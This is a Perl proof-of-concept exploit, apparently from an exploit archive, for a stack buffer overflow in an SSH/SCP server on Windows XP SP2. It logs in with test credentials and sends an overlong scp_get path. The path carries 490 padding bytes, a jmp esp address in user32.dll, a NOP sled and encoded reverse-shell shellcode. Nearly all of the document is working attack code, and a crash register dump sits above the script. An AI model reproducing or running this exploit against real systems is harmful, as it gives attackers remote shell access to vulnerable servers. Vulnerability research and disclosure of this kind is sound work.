# Author: S2 Crew [Hungary]
# Tested on:  Windows XP SP2&#8232; EN
# CVE: -

# Registers:
# EAX 000003E4
# ECX 0012ED44
# EDX 7C90EB94 ntdll.KiFastSystemCallRet
# EBX 00000674
# ESP 0012EFC0 ASCII "BBBBBBBBBBBBBBBBBB..."
# EBP 0012F3DC ASCII "BBBBBBBBBBBBBBBBBB..."
# ESI 7C81DD9A kernel32.CreatePipe
# EDI 0012F3D8 ASCII "BBBBBBBBBBBBBBBBBBB..."
# EIP 77D5B8D6 USER32.77D5B8D6

#!/usr/bin/perl

use Net::SSH2;

$username = 'test';
$password = 'test';

$host = '172.16.29.133';
$port = 22;

[*] x86/alpha_mixed succeeded with size 692 (iteration=1) reverse_shell_tcp
$shell =
"\x89\xe5\xda\xd7\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x48\x68\x4e\x69\x45\x50\x47\x70" .
"\x43\x30\x51\x70\x4f\x79\x4b\x55\x44\x71\x4e\x32\x51\x74" .
"\x4e\x6b\x43\x62\x44\x70\x4e\x6b\x46\x32\x46\x6c\x4e\x6b" .
"\x51\x42\x45\x44\x4c\x4b\x50\x72\x51\x38\x46\x6f\x4f\x47" .
"\x51\x5a\x51\x36\x50\x31\x4b\x4f\x45\x61\x4b\x70\x4e\x4c" .
"\x47\x4c\x51\x71\x43\x4c\x47\x72\x46\x4c\x47\x50\x4a\x61" .
"\x48\x4f\x46\x6d\x45\x51\x4f\x37\x4d\x32\x4c\x30\x51\x42" .
"\x51\x47\x4e\x6b\x51\x42\x44\x50\x4c\x4b\x50\x42\x47\x4c" .
"\x43\x31\x48\x50\x4e\x6b\x43\x70\x51\x68\x4e\x65\x49\x50" .
"\x43\x44\x42\x6a\x47\x71\x4e\x30\x50\x50\x4c\x4b\x50\x48" .
"\x47\x68\x4e\x6b\x46\x38\x51\x30\x45\x51\x4b\x63\x48\x63" .
"\x47\x4c\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x48\x56" .
"\x45\x61\x49\x6f\x50\x31\x49\x50\x4c\x6c\x49\x51\x48\x4f" .
"\x44\x4d\x45\x51\x4a\x67\x47\x48\x4d\x30\x50\x75\x48\x74" .
"\x43\x33\x43\x4d\x4c\x38\x45\x6b\x51\x6d\x46\x44\x43\x45" .
"\x4a\x42\x51\x48\x4e\x6b\x46\x38\x47\x54\x47\x71\x4a\x73" .
"\x42\x46\x4e\x6b\x44\x4c\x42\x6b\x4c\x4b\x51\x48\x47\x6c" .
"\x46\x61\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x46\x61\x48\x50" .
"\x4d\x59\x43\x74\x44\x64\x46\x44\x51\x4b\x43\x6b\x50\x61" .
"\x43\x69\x51\x4a\x46\x31\x4b\x4f\x49\x70\x43\x68\x43\x6f" .
"\x50\x5a\x4c\x4b\x42\x32\x48\x6b\x4b\x36\x51\x4d\x50\x68" .
"\x45\x63\x45\x62\x47\x70\x45\x50\x42\x48\x42\x57\x44\x33" .
"\x45\x62\x43\x6f\x46\x34\x42\x48\x50\x4c\x42\x57\x51\x36" .
"\x44\x47\x49\x6f\x4a\x75\x4f\x48\x4c\x50\x46\x61\x47\x70" .
"\x45\x50\x45\x79\x4f\x34\x46\x34\x46\x30\x50\x68\x45\x79" .
"\x4b\x30\x42\x4b\x47\x70\x49\x6f\x4b\x65\x46\x30\x42\x70" .
"\x42\x70\x42\x70\x51\x50\x46\x30\x51\x50\x50\x50\x43\x58" .
"\x4b\x5a\x46\x6f\x49\x4f\x49\x70\x4b\x4f\x4a\x75\x4d\x59" .
"\x4b\x77\x43\x58\x4c\x6c\x44\x50\x47\x6d\x4b\x30\x50\x68" .
"\x44\x42\x45\x50\x46\x71\x51\x4c\x4f\x79\x49\x76\x50\x6a" .
"\x46\x70\x50\x56\x51\x47\x42\x48\x4a\x39\x4f\x55\x51\x64" .
"\x45\x31\x4b\x4f\x4a\x75\x50\x68\x42\x43\x50\x6d\x45\x34" .
"\x45\x50\x4e\x69\x4a\x43\x50\x57\x50\x57\x46\x37\x45\x61" .
"\x48\x76\x50\x6a\x44\x52\x43\x69\x42\x76\x4a\x42\x4b\x4d" .
"\x43\x56\x4a\x67\x51\x54\x44\x64\x47\x4c\x43\x31\x45\x51" .
"\x4e\x6d\x42\x64\x45\x74\x44\x50\x4a\x66\x47\x70\x43\x74" .
"\x50\x54\x46\x30\x43\x66\x43\x66\x46\x36\x47\x36\x42\x76" .
"\x50\x4e\x51\x46\x43\x66\x46\x33\x46\x36\x50\x68\x51\x69" .
"\x4a\x6c\x45\x6f\x4b\x36\x49\x6f\x4b\x65\x4b\x39\x49\x70" .
"\x50\x4e\x50\x56\x47\x36\x49\x6f\x46\x50\x43\x58\x46\x68" .
"\x4e\x67\x45\x4d\x43\x50\x4b\x4f\x49\x45\x4d\x6b\x4a\x50" .
"\x4e\x55\x49\x32\x43\x66\x50\x68\x49\x36\x4a\x35\x4d\x6d" .
"\x4d\x4d\x4b\x4f\x4a\x75\x45\x6c\x45\x56\x51\x6c\x45\x5a" .
"\x4b\x30\x4b\x4b\x49\x70\x42\x55\x43\x35\x4f\x4b\x47\x37" .
"\x46\x73\x43\x42\x42\x4f\x51\x7a\x43\x30\x50\x53\x49\x6f" .
"\x48\x55\x47\x7a\x41\x41";

# jmp esp 0x77dc7c7b user32.dll

$fuzz = "\x41"x490 . "\x7B\x7C\xDC\x77". "\x90"x1000 . $shell;


$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$scpget = $ssh2->scp_get($fuzz);
$ssh2->disconnect();
